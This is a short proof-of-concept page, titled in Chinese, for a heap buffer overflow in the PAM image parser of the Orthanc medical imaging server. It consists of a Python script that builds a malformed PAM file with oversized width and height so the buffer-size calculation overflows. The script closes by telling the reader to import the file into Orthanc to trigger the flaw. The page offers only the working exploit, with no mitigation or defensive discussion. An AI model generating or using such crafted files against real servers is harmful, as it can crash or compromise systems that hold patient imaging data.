CVE-2026-5444 Orthanc PAM解析堆缓冲区溢出漏洞

# Proof of Concept for CVE-2026-5444 # This script generates a crafted PAM file designed to trigger the integer overflow. import struct def create_malformed_pam(filename): # PAM Header format: P7\nWIDTH <w>\nHEIGHT <h>\nDEPTH 4\nMAXVAL 255\nTUPLTYPE RGB_ALPHA\nENDHDR\n # We aim for: width * height * 4 to overflow 32-bit integer. # Example: 0x10000000 * 0x10 = 0x100000000 (overflows to 0) width = 0x10000000 height = 0x10 depth = 4 header = f"P7\nWIDTH {width}\nHEIGHT {height}\nDEPTH {depth}\nMAXVAL 255\nTUPLTYPE RGB_ALPHA\nENDHDR\n" # Payload data (minimal to avoid huge file size, but loop will try to write width*height*depth bytes) # The actual exploit relies on the parser allocating based on the overflowed size (0) # but looping through width*height. payload = b"A" * 100 with open(filename, 'wb') as f: f.write(header.encode('ascii')) f.write(payload) print("Generating crafted PAM file...") create_malformed_pam("cve_2026_5444_exploit.pam") print("File created. Import this into Orthanc to trigger the vulnerability.")